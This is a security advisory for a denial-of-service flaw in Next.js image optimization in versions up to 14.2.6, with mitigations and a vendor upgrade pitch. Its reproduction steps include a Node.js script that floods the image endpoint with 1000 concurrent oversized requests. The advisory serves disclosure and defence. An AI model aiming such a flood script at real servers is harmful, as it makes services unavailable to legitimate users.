Overview
Next.js is a popular open-source React framework that simplifies the development of server-rendered, static, and dynamic web applications by providing built-in features like routing, code splitting, and API routes.
When image optimization is enabled, repeated access of an image could lead to excessive CPU consumption and denial of service.
A Denial of Service (DoS) attack, as outlined by OWASP, is focused on making a resource (site, application, or server) unavailable for the purpose it was designed. There are many ways to make a service unavailable for legitimate users by manipulating network packets, programming, logical, or resources handling vulnerabilities, among others. If a service receives a very large number of requests, it may cease to be available to legitimate users. In the same way, a service may stop if a programming vulnerability is exploited, or the way the service handles resources it uses.
Details
Module Info
Product: Next.js
Affected packages: Next.js
Affected versions: <=14.2.6
GitHub Repo: https://github.com/vercel/next.js/commit/d11cbc9ff0b1aaefabcba9afe1e562e0b1fde65a
Published packages: Next.js
Package manager: npm
Vulnerability Info
This medium-severity vulnerability is found in the main distribution of Next.js in versions lower than or equal to 14.2.6.
Steps To Reproduce
- Set up a Next.js environment that is vulnerable to this exploit, such as version 14.2.0.
- Ensure the Next.js app uses the default image optimization feature (i.e., next.config.js does not have images.unoptimized: true or a non-default images.loader).
- Open pages/index.js and replace its content with:
import Image from 'next/image';
export default function Home() {
return (
<div>
<h1>Test Image Optimization</h1>
<Image src="/test-image.jpg" alt="Test" width={500} height={500} />
</div>
);
}
- Place a sample image (e.g., test-image.jpg) in the public folder.
- Build and run the app:
npm run build && npm run start
The app should now be running on http://localhost:3000.
- Craft a request:
curl "http://localhost:3000/_next/image?url=/test-image.jpg&w=500&q=75" --header "User-Agent: Mozilla/5.0"
- Construct a script (name it exploit.js) that will flood the server with requests:
const http = require('http');
function sendRequest() {
http.get('http://localhost:3000/_next/image?url=/test-image.jpg&w=999999&q=75', (res) => {
console.log(`Status: ${res.statusCode}`);
}).on('error', (e) => {
console.error(`Error: ${e.message}`);
});
}
// Send 1000 concurrent requests
for (let i = 0; i < 1000; i++) {
sendRequest();
}
- Run the script with node exploit.js.
- Monitor the server with a tool such a htop. If successful, CPU usage should spike significantly, potentially leading to a server crash or unresponsiveness.
Addressing the Issue
Users of the affected components should apply one of the following mitigations:
- Ensure that the next.config.js file has either images.unoptimized, images.loader or images.loaderFile assigned.
- Upgrade to a version of the framework that isn’t susceptible to the exploit.
- Sign up for post-EOL security support; HeroDevs customers get immediate access to a patched version of this software.
Credit(s)
- Brandon Dahler (brandondahler), AWS
- Dimitrios Vlastaras